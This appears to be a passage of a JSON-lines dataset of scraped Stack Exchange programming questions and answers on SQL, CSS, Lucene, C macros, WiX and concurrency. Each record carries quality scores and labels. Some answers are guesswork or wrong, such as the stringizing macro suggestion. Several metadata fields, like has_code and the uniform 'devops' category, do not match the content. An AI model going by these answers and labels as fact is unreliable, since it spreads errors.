anew.\nuse\nSAVEPOINT\ns in the transaction to be able to get back to that point in time and try another path. (This is the exception)\nEnable\nquery logging\nto see which query is the failing one and why.\nIn any case the exact answer to your question is that any SQLException should mean a rollback happened when the end of transaction command is sent, that is when a COMMIT or ROLLBACK (or END) is issued. This is how it works, if you use savepoints you'll still be bound by the same rules, you'll just be able to get back to where you saved and try something else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.183440"}
{"id": "hf_39c7b3159129", "question": "<p>I'm looking for a technique (javascript, CSS, whatever ???) that will let me control the amount of a string that is displayed. The string is the result of a search (and therefore not initially known). A simple Character count approach is trivial, but not acceptable, as it needs to handle proportional fonts. In otherwords if I want to limit to say 70 pixels then the examples below show different character counts (9 and 15) both measuring the same:-</p>\n\n<p>Welcome M...<br>\nHi Iain if I've ...</p>\n\n<p>If you look at Yahoo search results they are able to limit the length of title strings and add ellipsis on the end of long strings to indicate more.\n(try  site:loot.com wireless+keyboard+and+mouse to see an example of Yahoo achieving this)</p>\n\n<p>Any Ideas?</p>\n", "question_body": "", "answer": "Perhaps the CSS property\n```\noverflow: hidden;\n```\ncan help you, in conjuntion with\n```\nwidth\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.209293"}
{"id": "hf_aadd6ef43c8c", "question": "<p>I have read (or perhaps heard from a colleague) that in .NET, TransactionScope can hit its timeout and then VoteCommit (as opposed to VoteRollback).  Is this accurate or hearsay?  I couldn't track down information on the web that talked about this issue (if it IS an issue), so I wonder if anyone has any direct experience with it and can shed some light?</p>\n", "question_body": "", "answer": "If you mean in relation to SQL Server, then there is an issue that you can fix in the connection string; see my reply\nhere\n, or the full details\nhere\n.\nThe short version is: ensure you have\n```\nTransaction Binding=Explicit Unbind;\n```\nin the connection string.\nIt isn't actually doing a vote commit - the transaction (and any early operations) has rolled back, but any subsequent operations (still inside the\n```\nTransactionScope\n```\n) can get performed in the nul-transaction, i.e. auto-commit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.246203"}
{"id": "hf_f0a6b42b4ef1", "question": "<p>I know its possible to get the top terms within a Lucene Index, but is there a way to get the top terms based on a subset of a Lucene index?</p>\n\n<p>I.e. What are the top terms in the Index for documents within a certain date range?</p>\n", "question_body": "", "answer": "Ideally there'd be a utility somewhere to do this, but I'm not aware of one.  However, it's not too hard to do this \"by hand\" in a reasonably efficient way.  I'll assume that you already have a\n```\nQuery\n```\nand/or\n```\nFilter\n```\nobject that you can use to define the subset of interest.\nFirst, build a list in memory of all of the document IDs in your index subset.  You can use\n```\nIndexSearcher.search(Query, Filter, HitCollector)\n```\nto do this very quickly; the\n```\nHitCollector\n```\ndocumentation\nincludes an example that seems like it ought to work, or you can use some other container to store your doc IDs.\nNext, initialize an empty HashMap (or whatever) to map terms to total frequency, and populate the map by invoking one of the\n```\nIndexReader.getTermFreqVector\n```\nmethods for every document and field of interest.  The three-argument form seems simpler, but either should be just fine.  For the three-argument form, you'd make a\n```\nTermVectorMapper\n```\nwhose\n```\nmap\n```\nmethod checks if\n```\nterm\n```\nis in the map, associates it with\n```\nfrequency\n```\nif not, or adds\n```\nfrequency\n```\nto the existing value if so.  Be sure to use the same\n```\nTermVectorMapper\n```\nobject across all of the calls to\n```\ngetTermFreqVector\n```\nin this pass, rather than instantiating a new one for each document in the loop.  You can also speed things up quite a bit by overriding\n```\nisIgnoringPositions()\n```\nand\n```\nisIgnoringOffsets()\n```\n; your object should return\n```\ntrue\n```\nfor both of those.  It looks like your\n```\nTermVectorMapper\n```\nmight also be forced to define a\n```\nsetExpectations\n```\nmethod, but that one doesn't need to do anything.\nOnce you've built your map, just sort the map items by descending frequency and read off however many top terms you like.  If you know in advance how many terms you want, you might prefer to do some kind of fancy heap-based algorithm to find the top\nk\nitems in linear time instead of using an O(\nn\nlog\nn\n) sort.  I imagine the plain old sort will be plenty fast in practice.  But it's up to you.\nIf you prefer, you can combine the first two stages by having your\n```\nHitCollector\n```\ninvoke\n```\ngetTermFreqVector\n```\ndirectly.  This should certainly produce equally correct results, and intuitively seems like it would be simpler and better, but the docs seem to warn that doing so is likely to be quite a bit slower than the two-pass approach (on same page as the HitCollector example above).  Or I could be misinterpreting their warning.  If you're feeling ambitious you could try it both ways, compare, and let us know.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.270313"}
{"id": "hf_251f07d171f7", "question": "<p>Would it be possible to execute a JSP page and capture its output outside of a web application? \nMode specifically, in my case there still exists a usual web application, but it loads JSP pages not from its classpath, but from an arbitrary source. It seems like I cannot simply  get RequestDispatcher and point it to a JSP file on disk. </p>\n", "question_body": "", "answer": "Correct me if I'm wrong, but I think you mean you want to capture the HTML... not the JSP.  A JSP is processed (into a JAVA file) on a servlet-engine (Web app Server) and after the HTML is formatted and served up to the requestor via a Web server (not the same as a web APP server).  You can't get the RequestDispatcher to work on a straight JSP from disk because it hasn't been processed yet by the web app server.\nNow, to capture the output of a JSP (in HTML) should be possible, but I've never done that before.  There may be some slick APIs that those out there more knowledgable than I can address, but HTTP is typically done on port 80, so I guess one could read/write to port 80 on a TCPIP socket.  There's probably some more things to do on top of that, but at least that's some point to start looking into.\nSorry I can't provide more details, but hell... it's all theory to me at this point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.295165"}
{"id": "hf_27ec718b0fe4", "question": "<p>I use <code>public boolean mouseDown(Event ev, int x, int y)</code> to detect a click of the mouse.<br>\nI can distinguish between the right mouse button (ev.metaDown() is true) and the left and middle.</p>\n\n<p>How can i differentiate the left from the middle button?\nOr if it is impossible with mouseDown, what should i use?</p>\n", "question_body": "", "answer": "This might do it:\nhttp://java.sun.com/j2se/1.5.0/docs/api/javax/swing/SwingUtilities.html#isMiddleMouseButton(java.awt.event.MouseEvent)\nHaven't tried it myself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.341746"}
{"id": "hf_1bb734c22f52", "question": "<p>Is there an easy way of programmatically checking if a serial COM port is already open/being used?</p>\n\n<p>Normally I would use:</p>\n\n<pre><code>try\n{\n    // open port\n}\ncatch (Exception ex)\n{\n    // handle the exception\n}\n</code></pre>\n\n<p>However, I would like to programatically check so I can attempt to use another COM port or some such.</p>\n", "question_body": "", "answer": "I needed something similar some time ago, to search for a device.\nI obtained a list of available COM ports and then simply iterated over them, if it didn't throw an exception i tried to communicate with the device. A bit rough but working.\n```\n```\nvar portNames = SerialPort.GetPortNames();\n\nforeach(var port in portNames) {\n    //Try for every portName and break on the first working\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.412537"}
{"id": "hf_65689d585fb2", "question": "<p>Where does Internet Explorer store the history data, i.e. the list of URL that have been visited? I am using Windows XP SP3 and IE7. Basically I would like to read the list of URL and make some statistics on how often what pages are visited.</p>\n", "question_body": "", "answer": "Internet Explorer seems to keep its history in hidden directories under C:\\Documents and Settings\\USERNAME\\Local Settings\\History\\History.IE5.  Note that some directories in this path are also marked hidden or system.  The history's format is opaque, but\nthere's code at CodeProject\nthat can decode the contents.  You can also find a list of typed URLs under HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\TypedURLs.\nAn easier alternative might be to setup an HTTP proxy between the IE and the internet, and then examine the proxy's log.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.469835"}
{"id": "hf_0cd90542df43", "question": "<p>I accidentally coded <code>SELECT $FOO..</code> and got the error \"Invalid pseudocolumn \"$FOO\".</p>\n\n<p>I can't find any documentation for them.   Is it something I should know?</p>\n\n<p>Edit: this is a MS SQL Server specific question.</p>\n", "question_body": "", "answer": "A simple Google search brings up\nthis\nfrom Oracle's reference:\nA pseudocolumn behaves like a table\n  column, but is not actually stored in\n  the table. You can select from\n  pseudocolumns, but you cannot insert,\n  update, or delete their values.\nI think that the error you got is simply because there is no column $FOO, so the query parser tests to see if there's a psuedocolumn named $FOO as a fallback. And since there is no pseudocolumn named \"$FOO\" (and there are no other fallback) you get the error \"Invalid pseudocolumn $FOO\". This is a guess, though. I'm no expert when it comes to databases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.506036"}
{"id": "hf_6daae08c6daa", "question": "<p>What to use for a medium to large python WSGI application, Apache + mod_wsgi or Nginx + mod_wsgi?<br /><br />\nWhich combination will need more memory and CPU time?<br />\nWhich one is faster?<br/>\nWhich is known for being more stable than the other?<br /><br />\nI am also thinking to use CherryPy's WSGI server but I hear it's not very suitable for a very high-load application, what do you know about this?\n<br /><br />\n<strong><em>Note</strong>: I didn't use any Python Web Framework, I just wrote the whole thing from scratch.</em><br />\n<strong><em>Note'</strong>: Other suggestions are also welcome.</em>\n<br /></p>\n", "question_body": "", "answer": "One thing that CherryPy's webserver has going for it is that it's a pure python webserver (AFAIK), which may or may not make deployment easier for you.  Plus, I could see the benefits of using it if you're just using a server for WSGI and static content.\n(shameless plug warning:  I wrote the WSGI code that I'm about to mention)\nKamaelia\nwill have WSGI support coming in the next release.  The cool thing is that you'll likely be able to either use the pre-made one or build your own using the existing HTTP and WSGI code.\n(end shameless plug)\nWith that said, given the current options, I would personally probably go with CherryPy because it seems to be the simplest to configure and I can understand python code moreso than I can understand C code.\nYou may do best to try each of them out and see what the pros and cons of each one are for your specific application though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.530448"}
{"id": "hf_6d323d23d2d6", "question": "<p>As the question states - is there a good tool out there which lists methods an unmanaged DLL exports? I would like it to list COM methods and interfaces too.</p>\n", "question_body": "", "answer": "Take a look at\nDependency Walker\nto get a list of unmanaged functions exported from a DLL.\nYou can't easily get a l list of COM classes exported from a DLL. What you'd have to do is something like to through the registry and find all objects that reference the DLL in question. DLLs advertise their classes via registration in the registry...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.587886"}
{"id": "hf_dd925721a399", "question": "<p>I am taking my first steps programming in Lua and get this error when I run my script:</p>\n\n<pre><code>attempt to index upvalue 'base' (a function value)\n</code></pre>\n\n<p>It's probably due to something very basic that I haven't grasped yet, but I can't find any good information about it when googling. Could someone explain to me what it means?</p>\n", "question_body": "", "answer": "In this case it looks\n```\nbase\n```\nis a function, but you're trying to index it like a table (eg.\n```\nbase[5]\n```\nor\n```\nbase.somefield\n```\n).\nThe 'upvalue' part is just telling you what kind of variable\n```\nbase\n```\nis, in this case an upvalue (aka external local variable).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.622199"}
{"id": "hf_89f79988ced6", "question": "<p>Does anybody know how to determine the location of a file that's in one of the folders specified by the PATH environmental variable other than doing a dir filename.exe /s from the root folder?</p>\n\n<p>I know this is stretching the bounds of a programming question but this is useful for deployment-related issues, also I need to examine the dependencies of an executable. :-)</p>\n", "question_body": "", "answer": "You can use the\n```\nwhere.exe\n```\nutility in the\n```\nC:\\Windows\\System32\n```\ndirectory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.655451"}
{"id": "hf_ac33b64969c0", "question": "<p>I wonder what is the time complexity of pop method of list objects in Python (in CPython particulary). Also does the value of N for list.pop(N) affects the complexity? </p>\n", "question_body": "", "answer": "```\nPop()\n```\nfor the last element ought to be O(1) since you only need to return the element referred to by the last element in the array and update the index of the last element.  I would expect\n```\npop()\n```\nfor an arbitrary element to be O(N) and require on average N/2 operations since you would need to move any elements beyond the element you are removing one position up in the array of pointers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.704161"}
{"id": "hf_4a708992c42f", "question": "<p>I am trying to figure out Messagebox( ownerWindow, ... ).</p>\n\n<p>Using reflector I see that the ownerWindow defaults to the ActiveWindow for the thread.</p>\n\n<p>So the only time I need the ownerWindow parameter is to call Show from another thread.  </p>\n\n<p>However when I try this, I get a cross threading exception.</p>\n\n<pre><code>    private void button1_Click( object sender, EventArgs e ) {\n        new Thread( () =&gt; MessageBox.Show( this, \"Test\" ) ).Start();\n    }\n</code></pre>\n\n<p>So it looks like the only time I need the explicitly state the owner window, I cann't use it!</p>\n", "question_body": "", "answer": "You will have to do a BeginInvoke to marshal the call to the UI thread.\nThe code below is a simple example how you can do it. I haven't compiled it, so there might be errors in it, but it might give you some pointers.\n```\n```\nprivate delegate void ThreadExecuteDelegate(object args);\n\npublic void StartThread\n{\n   Thread thread = new Thread(new ParameterizedThreadStart(ThreadExecute));\n   thread.Start((IWin32Window)this);\n}\n\nprivate void ThreadExecute(object args)\n{\n    if(this.InvokeRequired)\n    {\n        this.BeginInvoke(new ThreadExecuteDelegate(ThreadExecute), args);\n        return;\n    }   \n\n    IWin32Window window = (IWin32Window)args;\n    MessageBox.Show(window, \"Hello world\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.748337"}
{"id": "hf_5493faf98684", "question": "<p>I have heard of desktop applications whose code has been open-sourced, but are there any websites whose code has been open-sourced? I don't think I have heard of any. If there are aren't any, are there any reasons why?</p>\n\n<p>This will have the advantage of not having to wait for the web development team to include a new feature. Also, this would ensure that more eyes see the code, ensuring a lower bug count. Of course, hacking would be easy.</p>\n", "question_body": "", "answer": "Pastebin:\nhttp://pastebin.com/\nThe wiki behind Wikipedia et al:\nhttp://www.mediawiki.org/wiki/MediaWiki\nGrailsCrowd:\nhttp://grailscrowd.com/\nSlashcode [slashdot engine]:\nhttp://www.slashcode.com/\nThe reason that not as many people do it is because it would be easy for someone to set up a complete clone of your website without making any useful changes. OK, that's strictly allowed with true 'open source' code, but it's not quite within the spirit of the thing (IMO) and if the site became even moderately popular there would be a\nlot\nof useless clones. The site would become essentially worthless.\nThose are -websites- that are open source. There is a huge amount of web application software that is open source [some of it shitty]\nWordPress\nInkType\nJoomla\nosCommerce\nZenCart\nDrupal", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.805101"}
{"id": "hf_99275ac9c04a", "question": "<p>Is it possible to copy a single file to multiple directories using the cp command ?</p>\n\n<p>I tried the following , which did not work:  </p>\n\n<pre><code>cp file1 /foo/ /bar/\ncp file1 {/foo/,/bar}\n</code></pre>\n\n<p>I know it's possible using a for loop, or find. But is it possible using the gnu cp command?</p>\n", "question_body": "", "answer": "No,\n```\ncp\n```\ncan copy multiple sources but will only copy to a single destination. You need to arrange to invoke\n```\ncp\n```\nmultiple times - once per destination - for what you want to do; using, as you say, a loop or some other tool.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.828845"}
{"id": "hf_e0ac1c14945d", "question": "<p>I have an iframe and couple of tables on my aspx page. Now when the page loads these tables are hidden. The iframe is used to upload file to database. Depending on the result of the event I have to show a particular table on my main page (these tables basically have \"Retry\",\"next\" buttons...depending on whether or not the file is uploaded I have to show respective button).</p>\n\n<p>Now I have a JavaScript on the \"onload\" event of the iframe where I am hiding these tables to start with. When the control comes back after the event I show a particular table. But then the iframe loads again and the tables are hidden. Can any one help me with this problem. I don't want the iframe to load the second time.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I am not sure what your problem is, but perhaps your approach should be a little different. Try putting code into the iframe what would call functions of the parent. These functions would display the proper table:\n```\n```\n<!-- in the main page --->\nfunction showTable1() {}\n\n<!-- in the iframe -->\nwindow.onload = function () {\n    parent.showTable1();\n}\n```\n```\nThis would put a lot of control into your iframe, away from the main page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.863234"}
{"id": "hf_1c97c9bde6b1", "question": "<p>Here's my issue, I'd like to mock a class that creates a thread at initialization and closes it at destruction.  There's no reason for my mock class to actually create and close threads.  But, to mock a class, I have inherit from it.  When I create a new instance of my mock class, the base classes constructor is called, creating the thread.  When my mock object is destroyed, the base classes destructor is called, attempting to close the thread.  </p>\n\n<p>How does one mock an RAII class without having to deal with the actual resource?</p>\n", "question_body": "", "answer": "You instead make an interface that describes the type, and have both the real class and the mock class inherit from that. So if you had:\n```\n```\nclass RAIIClass {\n public:\n  RAIIClass(Foo* f);\n  ~RAIIClass();\n  bool DoOperation();\n\n private:\n  ...\n};\n```\n```\nYou would make an interface like:\n```\n```\nclass MockableInterface {\n public:\n  MockableInterface(Foo* f);\n  virtual ~MockableInterface();\n  virtual bool DoOperation() = 0;\n};\n```\n```\nAnd go from there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.886454"}
{"id": "hf_bc7676d47569", "question": "<p>I have an XML file, which I open in F# like this:</p>\n\n<pre><code>let Bookmarks(xmlFile:string) = \n    let xml = XDocument.Load(xmlFile)\n</code></pre>\n\n<p>Once I have the XDocument I need to navigate it using LINQ to XML and extract all specific tags. Part of my solution is:</p>\n\n<pre><code>let xname (tag:string) = XName.Get(tag)\nlet tagUrl (tag:XElement) = let attribute = tag.Attribute(xname \"href\")\n                            attribute.Value\nlet Bookmarks(xmlFile:string) = \n    let xml = XDocument.Load(xmlFile)\n    xml.Elements &lt;| xname \"A\" |&gt; Seq.map(tagUrl)\n</code></pre>\n\n<p>How can I extract the specific tags from the XML file?</p>\n", "question_body": "", "answer": "Caveat: I've never done linq-to-xml before, but looking through other posts on the topic, this snippet has some F# code that compiles and does\nsomething\n, and thus it may help you get started:\n```\n```\nopen System.IO\nopen System.Xml\nopen System.Xml.Linq \n\nlet xmlStr = @\"<?xml version='1.0' encoding='UTF-8'?>\n<doc>\n    <blah>Blah</blah>\n    <a href='urn:foo' />\n    <yadda>\n        <blah>Blah</blah>\n        <a href='urn:bar' />\n    </yadda>\n</doc>\"\n\nlet xns = XNamespace.op_Implicit \"\"\nlet a = xns + \"a\"\nlet reader = new StringReader(xmlStr)\nlet xdoc = XDocument.Load(reader)\nlet aElements = [for x in xdoc.Root.Elements() do\n                 if x.Name = a then\n                     yield x]\nlet href = xns + \"href\"\naElements |> List.iter (fun e -> printfn \"%A\" (e.Attribute(href)))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:32.945640"}
{"id": "hf_61b974414b55", "question": "<p>I'm writing a Rails application, but can't seem to find how to do relative time, i.e. if given a certain Time class, it can calculate \"30 seconds ago\" or \"2 days ago\" or if it's longer than a month \"9/1/2008\", etc.</p>\n", "question_body": "", "answer": "You can use the arithmetic operators to do relative time.\n```\n```\nTime.now - 2.days\n```\n```\nWill give you 2 days ago.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.020273"}
{"id": "hf_ec2fe26e7e90", "question": "<p>I'm trying to compile/link a <strong>very</strong> old piece of software on a linux system and I can't for some reason link with a shared library that's installed on my system.</p>\n\n<p>I get the following error from the linker:</p>\n\n<pre><code>/usr/bin/ld: cannot find -lXaw\n</code></pre>\n\n<p>However, the lib itself is installed. If I run </p>\n\n<pre><code>ldconfig -v | grep libXaw\n</code></pre>\n\n<p>I get (among other things) this hit:</p>\n\n<pre><code>libXaw.so.7 -&gt; libXaw7.so.7.0.0\n</code></pre>\n\n<p>The library and the links to it are in /usr/lib btw. So nothing special.</p>\n\n<p>So the library is there and ldconfig finds it. What could ld cause ld from not finding the library during link-time? As you may have already guessed I'm quite new to the shared library stuff. </p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "The linker may be looking, literally, for \"libXaw.so\".  Is that in /usr/lib?  If not, you could try adding it as another soft link from libXaw7.so.7.0.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.039428"}
{"id": "hf_806593537fa7", "question": "<p>What are best resources/tutorials for starting up with SQLAlchemy?\nMaybe some simple step by step stuff like creating a simple table and using it and going up from there.</p>\n", "question_body": "", "answer": "Personally, I'd buy\nthis book\nand cram it into the noggin over the course of a week or so.\nI've tried tackling SQLAlchemy on the job without learning the details first. I had a hard time with it, because I found the online documentation to be sparse and cryptic (\"\nread the source for more info...\n\"). SA also provides several levels of abstraction at which you can work and I wasn't confident that I was ever working at the correct level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.092354"}
{"id": "hf_9004618b784b", "question": "<p>I was wondering if there was any difference in the way the following code was compiled into assembly. I've heard that switch-case is more efficient than if else, but in this example I am not quite sure if that would be the case.</p>\n\n<pre><code>if(x==1){\n...\n}else if(x==2){\n...\n}else{\n...\n}\n</code></pre>\n\n<p>and</p>\n\n<pre><code>switch(x){\n case 1:\n ...\n break;\n\n case 2:\n ...\n break;\n\n default:\n ...\n}\n</code></pre>\n", "question_body": "", "answer": "In\nthis\nspecific case, the\n```\nswitch\n```\ncan be turned into a jump table. The\n```\nif\n```\nstatement (if you write your\n```\n=\n```\nas\n```\n==\n```\n:-P) could still do the same thing if the compiler could tell that\n```\nx\n```\nisn't changing between the\n```\nif\n```\nclauses (which is usually the case, unless\n```\nx\n```\nis\n```\nvolatile\n```\nor something).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.126033"}
{"id": "hf_49a2746c9396", "question": "<p>What are the main differences between XHTML and HTML? Which one is better in your opinion, and why? Do most browsers support both?</p>\n", "question_body": "", "answer": "The Extensible Hypertext Markup Language, or XHTML, is a markup language that has the same depth of expression as HTML, but also conforms to XML syntax.\nXHTML is \"the modern version of HTML 4\".\nMore info :\nwikipedia\nand\nW3C", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.211092"}
{"id": "hf_791810dafb1d", "question": "<p>What are the basic differences between a semaphore &amp; spin-lock?</p>\n\n<p>When would we use a semaphore over a spin-lock?</p>\n", "question_body": "", "answer": "very simply, a semaphore is a \"yielding\" synchronisation object, a spinlock is a 'busywait' one. (there's a little more to semaphores in that they synchronise several threads, unlike a mutex or guard or monitor or critical section that protects a code region from a single thread)\nYou'd use a semaphore in more circumstances, but use a spinlock where you are going to lock for a very short time - there is a cost to locking especially if you lock a lot. In such cases it can be more efficient to spinlock for a little while waiting for the protected resource to become unlocked. Obviously there is a performance hit if you spin for too long.\ntypically if you spin for longer than a thread quantum, then you should use a semaphore.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.283660"}
{"id": "hf_d01fa0129ddd", "question": "<p>When uninstalling my application, I'd like to configure the <a href=\"http://en.wikipedia.org/wiki/WiX\" rel=\"noreferrer\">Wix</a> setup to remove all the files that were added <strong>after the original installation</strong>. It seems like the uninstaller removes only the directories and files that were originally installed from the MSI file and it leaves everything else that was added later in the application folder. In another words, I'd like to purge the directory when uninstalling. How do I do that?</p>\n", "question_body": "", "answer": "Use\nRemoveFile element\nwith On=\"\nuninstall\n\". Here's an example:\n```\n```\n<Directory Id=\"CommonAppDataFolder\" Name=\"CommonAppDataFolder\">\n  <Directory Id=\"MyAppFolder\" Name=\"My\">\n    <Component Id=\"MyAppFolder\" Guid=\"*\">\n      <CreateFolder />\n      <RemoveFile Id=\"PurgeAppFolder\" Name=\"*.*\" On=\"uninstall\" />\n    </Component>\n  </Directory>\n</Directory>\n```\n```\nUpdate\nIt didn't work 100%. It removed the files, however none of the additional directories - \n  the ones created after the installation - were removed. Any thoughts on that?  – pribeiro\nUnfortunately Windows Installer doesn't support deleting directories with subdirectories. In this case you have to resort to custom action. Or, if you know what subfolders are, create a bunch of RemoveFolder and RemoveFile elements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.363891"}
{"id": "hf_287df4071612", "question": "<p>How can I change the class of an HTML element in response to an <code>onclick</code> or any other events using JavaScript?</p>\n", "question_body": "", "answer": "This is easiest with a library like jQuery:\n```\n```\n<input type=\"button\" onClick=\"javascript:test_byid();\" value=\"id='second'\" />\n\n<script>\nfunction test_byid()\n{\n    $(\"#second\").toggleClass(\"highlight\");\n}\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.387520"}
{"id": "hf_1f2315932b30", "question": "<p>For example, how to avoid writing the 'func_name' twice?</p>\n\n<pre><code>#ifndef TEST_FUN\n#  define TEST_FUN func_name\n#  define TEST_FUN_NAME \"func_name\"\n#endif\n</code></pre>\n\n<p>I'd like to follow the <a href=\"http://en.wikipedia.org/wiki/Single_Point_of_Truth\" rel=\"noreferrer\">Single Point of Truth</a> rule.</p>\n\n<p>Version of C preprocessor:</p>\n\n<pre><code>$ cpp --version\ncpp (GCC) 4.1.2 20070626 (Red Hat 4.1.2-14)\n</code></pre>\n", "question_body": "", "answer": "```\n#define TEST_FUN_NAME #FUNC_NAME\n```\nsee\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:33.431944"}
